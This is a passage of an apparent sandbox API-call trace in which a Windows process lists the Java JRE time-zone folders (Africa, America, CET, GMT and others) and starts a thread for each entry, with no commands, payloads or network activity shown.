out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" [0138.664] wcscat (in: _Dest=0x1cd9da90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\" [0138.664] wcscat (in: _Dest=0x1cd9da90, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\*" [0138.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027cf50 [0138.664] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\*", lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d310 [0140.600] wcscmp (_String1=".", _String2=".") returned 0 [0140.600] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.600] wcscmp (_String1="..", _String2=".") returned 1 [0140.600] wcscmp (_String1="..", _String2="..") returned 0 [0140.600] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Africa", cAlternateFileName="")) returned 1 [0140.600] wcscmp (_String1="Africa", _String2=".") returned 1 [0140.600] wcscmp (_String1="Africa", _String2="..") returned 1 [0140.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x1b86e480 [0140.601] wcscpy (in: _Dest=0x1b86e480, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" [0140.601] wcscat (in: _Dest=0x1b86e480, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\" [0140.601] wcscat (in: _Dest=0x1b86e480, _Source="Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0150.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b86e480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e2c [0150.845] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="America", cAlternateFileName="")) returned 1 [0150.846] wcscmp (_String1="America", _String2=".") returned 1 [0150.846] wcscmp (_String1="America", _String2="..") returned 1 [0150.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c2590 [0150.846] wcscpy (in: _Dest=0x1b7c2590, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" [0150.846] wcscat (in: _Dest=0x1b7c2590, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\" [0150.846] wcscat (in: _Dest=0x1b7c2590, _Source="America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0150.846] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c2590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x228c [0150.847] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Antarctica", cAlternateFileName="ANTARC~1")) returned 1 [0150.847] wcscmp (_String1="Antarctica", _String2=".") returned 1 [0150.847] wcscmp (_String1="Antarctica", _String2="..") returned 1 [0150.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b7c19c0 [0150.847] wcscpy (in: _Dest=0x1b7c19c0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" [0150.847] wcscat (in: _Dest=0x1b7c19c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\" [0150.847] wcscat (in: _Dest=0x1b7c19c0, _Source="Antarctica" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" [0150.847] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c19c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2290 [0150.848] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Asia", cAlternateFileName="")) returned 1 [0150.848] wcscmp (_String1="Asia", _String2=".") returned 1 [0150.848] wcscmp (_String1="Asia", _String2="..") returned 1 [0150.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b7c1b80 [0150.848] wcscpy (in: _Dest=0x1b7c1b80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" [0150.848] wcscat (in: _Dest=0x1b7c1b80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\" [0150.848] wcscat (in: _Dest=0x1b7c1b80, _Source="Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0150.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c1b80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2294 [0150.868] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Atlantic", cAlternateFileName="")) returned 1 [0150.868] wcscmp (_String1="Atlantic", _String2=".") returned 1 [0150.868] wcscmp (_String1="Atlantic", _String2="..") returned 1 [0150.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x17f0d0 [0150.869] wcscpy (in: _Dest=0x17f0d0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" [0150.869] wcscat (in: _Dest=0x17f0d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\" [0150.869] wcscat (in: _Dest=0x17f0d0, _Source="Atlantic" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic" [0150.869] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x17f0d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e04 [0150.869] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Australia", cAlternateFileName="AUSTRA~1")) returned 1 [0150.870] wcscmp (_String1="Australia", _String2=".") returned 1 [0150.870] wcscmp (_String1="Australia", _String2="..") returned 1 [0150.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b86e2c0 [0150.870] wcscpy (in: _Dest=0x1b86e2c0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" [0150.870] wcscat (in: _Dest=0x1b86e2c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\" [0150.870] wcscat (in: _Dest=0x1b86e2c0, _Source="Australia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia" [0150.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b86e2c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22ac [0150.871] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CET", cAlternateFileName="")) returned 1 [0150.871] wcscmp (_String1="CET", _String2=".") returned 1 [0150.871] wcscmp (_String1="CET", _String2="..") returned 1 [0150.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1cd86af0 [0150.871] wcscpy (in: _Dest=0x1cd86af0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" [0150.871] wcscat (in: _Dest=0x1cd86af0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\" [0150.871] wcscat (in: _Dest=0x1cd86af0, _Source="CET" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\CET") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\CET" [0150.871] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd86af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22b0 [0150.872] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CST6CDT", cAlternateFileName="")) returned 1 [0150.872] wcscmp (_String1="CST6CDT", _String2=".") returned 1 [0150.872] wcscmp (_String1="CST6CDT", _String2="..") returned 1 [0150.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86e640 [0150.872] wcscpy (in: _Dest=0x1b86e640, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" [0150.872] wcscat (in: _Dest=0x1b86e640, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\" [0150.872] wcscat (in: _Dest=0x1b86e640, _Source="CST6CDT" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\CST6CDT") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\CST6CDT" [0150.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86e640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22b4 [0150.874] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x430, dwReserved0=0x0, dwReserved1=0x0, cFileName="EET", cAlternateFileName="")) returned 1 [0150.874] wcscmp (_String1="EET", _String2=".") returned 1 [0150.874] wcscmp (_String1="EET", _String2="..") returned 1 [0150.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1cd865b0 [0150.874] wcscpy (in: _Dest=0x1cd865b0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" [0150.874] wcscat (in: _Dest=0x1cd865b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\" [0150.874] wcscat (in: _Dest=0x1cd865b0, _Source="EET" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\EET") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\EET" [0150.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd865b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22b8 [0150.875] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="EST", cAlternateFileName="")) returned 1 [0150.875] wcscmp (_String1="EST", _String2=".") returned 1 [0150.875] wcscmp (_String1="EST", _String2="..") returned 1 [0150.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1cd86730 [0150.875] wcscpy (in: _Dest=0x1cd86730, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" [0150.875] wcscat (in: _Dest=0x1cd86730, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\" [0150.875] wcscat (in: _Dest=0x1cd86730, _Source="EST" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\EST") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\EST" [0150.875] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd86730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22bc [0150.876] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EST5EDT", cAlternateFileName="")) returned 1 [0150.876] wcscmp (_String1="EST5EDT", _String2=".") returned 1 [0150.876] wcscmp (_String1="EST5EDT", _String2="..") returned 1 [0150.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86e560 [0150.876] wcscpy (in: _Dest=0x1b86e560, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" [0150.876] wcscat (in: _Dest=0x1b86e560, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\" [0150.876] wcscat (in: _Dest=0x1b86e560, _Source="EST5EDT" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\EST5EDT") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\EST5EDT" [0150.876] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86e560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22c0 [0150.877] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Etc", cAlternateFileName="")) returned 1 [0150.877] wcscmp (_String1="Etc", _String2=".") returned 1 [0150.877] wcscmp (_String1="Etc", _String2="..") returned 1 [0150.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1cd86f10 [0150.877] wcscpy (in: _Dest=0x1cd86f10, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" [0150.877] wcscat (in: _Dest=0x1cd86f10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\" [0150.878] wcscat (in: _Dest=0x1cd86f10, _Source="Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0150.878] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd86f10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22c4 [0150.878] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Europe", cAlternateFileName="")) returned 1 [0150.878] wcscmp (_String1="Europe", _String2=".") returned 1 [0150.878] wcscmp (_String1="Europe", _String2="..") returned 1 [0150.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x1b86f050 [0150.879] wcscpy (in: _Dest=0x1b86f050, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" [0150.879] wcscat (in: _Dest=0x1b86f050, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\" [0150.879] wcscat (in: _Dest=0x1b86f050, _Source="Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0150.879] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b86f050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22c8 [0150.879] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT", cAlternateFileName="")) returned 1 [0150.880] wcscmp (_String1="GMT", _String2=".") returned 1 [0150.880] wcscmp (_String1="GMT", _String2="..") returned 1 [0150.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1cd866d0 [0150.880] wcscpy (in: _Dest=0x1cd866d0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" [0150.880] wcscat (in: _Dest=0x1cd866d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\" [0150.880] wcscat (in: _Dest=0x1cd866d0, _Source="GMT" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\GMT") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\GMT" [0150.880] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd866d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22cc [0150.881] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="HST", cAlternateFileName="")) returned 1 [0150.881] wcscmp (_String1="HST", _String2=".") returned 1 [0150.881] wcscmp (_String1="HST", _String2="..") returned 1 [0150.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1cd86eb0 [0150.881] wcscpy (in: _Dest=0x1cd86eb0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" [0150.881] wcscat (in: _Dest=0x1cd86eb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\" [0150.881] wcscat (in: _Dest=0x1cd86eb0, _Source="HST" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\HST") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\HST" [0150.881] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd86eb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22d0 [0150.883] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indian", 